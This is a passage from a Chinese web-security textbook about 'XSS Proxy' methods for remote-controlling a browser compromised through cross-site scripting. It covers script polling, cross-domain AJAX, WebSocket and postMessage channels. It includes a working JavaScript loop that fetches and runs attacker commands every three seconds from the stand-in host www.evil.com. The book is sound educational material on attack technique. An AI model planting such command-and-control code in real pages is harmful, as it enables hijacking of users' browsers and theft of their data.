7.7 XSS Proxy技术

XSS Proxy技术用到了基于浏览器的远程控制上,这是一种非常好的思想,现在很多XSS利用框架,如XSS Shell、BeEF、Anehta等远程控制都是基于XSS Proxy的。

要实现远程控制,必须具备以下两个条件:

一般情况下,这个远控指令都是JavaScript代码,第2个实现起来很容易,就是请求控制端对应的数据接收接口而已;对于第1个条件,要么浏览器每隔几秒主动请求服务端指令接口,要么服务端主动推送指令给浏览器,这个过程如果延后几秒是没问题的,可以认为是实时的。

下面将介绍XSS Proxy技术的4种思路,它们各有千秋。

7.7.1 浏览器<script>请求

<script>标签请求内容可跨域,这是合法的功能,请求到的数据必须是合法的JavaScript语法格式。这种技术在之前有提过,包括请求回来的是JSON+CallBack函数这样的数据内容(这种跨域数据通信被称为JSONP),格式如下:

hijack([{
    "id": 585904,
    "text": "...",
    "sender_id": "Salina_Wu",
    "recipient_id": "ycosxhack",
    "created_at": "Sat May 31 05:00:01 +0000 2008",
    "sender_screen_name": "LOLO",
    "recipient_screen_name": "余弦"
},
//... 省略
])

然后结合JavaScript的setInterval函数,间隔几秒向远控服务端指令接口请求数据,而服务端可以根据控制者的需求生成指令到中间存储文件中(比如数据库、内存、文件系统等),由这个指令接口来统一调度这些生成的指令。

被控浏览器端的setInterval模型如下:

function inj_script(src,onload){
   o = document.createElement("script");
   o.src = src;
   if(onload){
      if (!window.ActiveXObject) {
         o.onload = onload;
      }else{
         o.onreadystatechange = function () {
           if (o.readyState == 'loaded' || o.readyState == 'complete') {
               onload();
           }
         }
      }
   }
   document.getElementsByTagName("body")[0].appendChild(o);
   return o;
}
function remove_obj(o){
   document.body.removeChild(o);
}
setInterval(function () { // 每隔3秒执行一次
    // 注入脚本文件
    var rtcmd = inj_script('http://www.evil.com/rtcmd?date=' + new Date ().getTime());
    setTimeout(function () {
        remove_obj(rtcmd); // 删除脚本文件对象
    }, 500);
}, 3000);

注入的脚本文件是一个服务端动态文件,也就是服务端指令接口,每次都会返回控制者生成的指令内容,如果没有指令,则返回空内容。

通过这个XSS Proxy模型是可以受到很多好的启示的,不过这个模型有一个缺陷,就是大多数时间,被控浏览器发起的服务端指令接口请求都是无用功,因为很可能并没有指令内容,控制者不会每隔3秒发出一个指令。

7.7.2 浏览器跨域AJAX请求

跨域AJAX请求在第2章中已详细介绍过,它也需要浏览器setInterval去主动发起服务端指令接口请求。唯一的好处是,这种请求是异步发起的,会显得更加安静,在此不过多地介绍了。

7.7.3 服务端WebSocket推送指令

严格地说,WebSocket技术不属于HTML5,这个技术是对HTTP无状态连接的一种革新,本质就是一种持久性socket连接,在浏览器客户端通过JavaScript进行初始化连接后,就可以监听相关的事件和调用socket方法来对服务端的消息进行读写操作。

WebSocket的官方地址是:www.websocket.org,其中给出了一些样例,可以直接在线测试,当前Firefox与Chrome都支持WebSocket,且支持WebSocket的安全链接。

在WebSocket的官网主页面中,单击左边Demos下的Echo Test链接,测试时,先单击“Connect”按钮或选择“Use secure WebSocket”复选框后单击“Connect”按钮,建立持久连接,接着在Message框里输入内容,单击“Send”按钮,就可以在Log框中看到相关记录,测试截图如图7-13所示。

267-1

图7-13 WebSocket Demo测试

大家在测试时,可以看看请求头与响应头的内容,观察有什么不一样的地方。

这个样例的核心JavaScript代码与注释如下:

var wsUri = "ws://echo.websocket.org/";
// ws://协议表示这是WebSocket服务端地址
var output;
function init() {
    output = document.getElementById("output");
    testWebSocket();
}
function testWebSocket() {
    websocket = new WebSocket(wsUri); // 新建一个连接
    websocket.onopen = function (evt) { // 当连接创建时,触发
        onOpen(evt)
    };
    websocket.onclose = function (evt) { // 当连接关闭时,触发
        onClose(evt)
    };
    websocket.onmessage = function (evt) {
// 当接收到服务端发送过来的消息时,触发
        onMessage(evt)
    };
    websocket.onerror = function (evt) { // 当错误时,触发
        onError(evt)
    };
}
function onOpen(evt) {
    writeToScreen("CONNECTED");
    doSend("WebSocket rocks");
}
function onClose(evt) {
    writeToScreen("DISCONNECTED");
}
function onMessage(evt) {
    writeToScreen('<span style="color: blue;">RESPONSE: ' + evt.data + '</
span>');
    websocket.close();
}
function onError(evt) {
    writeToScreen('<span style="color: red;">ERROR:</span> ' + evt.data);
}
function doSend(message) {
    writeToScreen("SENT: " + message);
    websocket.send(message); // 发送消息到服务端
}
function writeToScreen(message) {
    var pre = document.createElement("p");
    pre.style.wordWrap = "break-word";
    pre.innerHTML = message;
    output.appendChild(pre);
}
window.addEventListener("load", init, false);

这种连接是可跨域的,这个特性导致我们至少可以用来做远控,客户端通过监听onmessage事件,就能及时响应来自服务端发送过来的指令。

7.7.4 postMessage方式推送指令

HTML5的postMessage机制非常优美,是客户端最直接的跨文档传输方法,一般用在iframe中父页与子页之间的客户端跨域通信。

例如,http://www.evil.com/postmsg/evil.htm的代码如下:

<html>
<head>
<title>evil</title>
</head>
<body>
<pre>
(1)利用window.postMessage()跨域传递消息
(2)本域是www.evil.com,向www.foo.com/postmsg/foo.htm 传递数据
<button id="btnPassData">跨域传递消息</button>
</pre>
利用iframe加载另一个域www.foo.com/postmsg/foo.htm:
<div>
  <iframe src="http://www.foo.com/postmsg/foo.htm" id="b_iframe" width="800" height="200">
 </iframe>
</div>
</body>
</html>
<script>
    window.onload = function() {
        document.getElementById("btnPassData").onclick = function() {
            var iframedom = document.getElementById("b_iframe").content Window;
            if (typeof window.postMessage !== "undefined") {
// 利用子页的DOM窗口对象,跨域发送消息
                iframedom.postMessage("msg from "+document.domain, "http://
www.foo.com/postmsg/foo.htm");
            }
        }
        // 绑定onmessage事件监听
        if (window.attachEvent) {
            window.attachEvent("onmessage", receiveMsg);
        }
        else {
            window.addEventListener("message", receiveMsg, true);
        }
    };
    var receiveMsg = function(e) {
        alert('i am '+document.domain+'\nget msg from: - '+e.data);
// 获取传递过来的数据
    }
</script>

http://www.foo.com/postmsg/foo.htm的代码如下:

<html>
<head>
<title>foo</title>
</head>

<body>
接受来自www.evil.com域下传递过来的值:
<div id="r" style="border:1px solid blue; width:500px; height:100px;">
</div>
<script>
// 绑定onmessage事件监听
window.onload = function() {
   if (window.attachEvent) {
      window.attachEvent("onmessage", acceptMsg);
   }
   else {
      window.addEventListener("message", acceptMsg, true);
   }
}
var acceptMsg = function(e) {
// 该函数用来表示在window.onmessage事件触发时进行接收数据的处理
     if(e.origin.indexOf("http://www.evil.com")!=-1){
// 作用是排除其他非法域名,即只接收http://www.evil.com传递过来的数据
        document.getElementById('r').innerHTML = e.data;
   }
   window.top.postMessage("msg from "+document.domain, "http://www.evil.com/postmsg/evil.htm");  // pong
};
</script>
</body>
</html>

从代码中可以清晰地知道postMessage机制,这种跨域需要双方默契配合,且可以在客户端通过origin进行判断请求的来源是否合法,效果如图7-14所示。

272-1

图7-14 postMessage效果

这个技巧如果用于XSS Proxy上可能有些绕,攻击者的页面需要动态生成,然后在客户端层面进行跨域传输指令。这是一种思路,不过不好。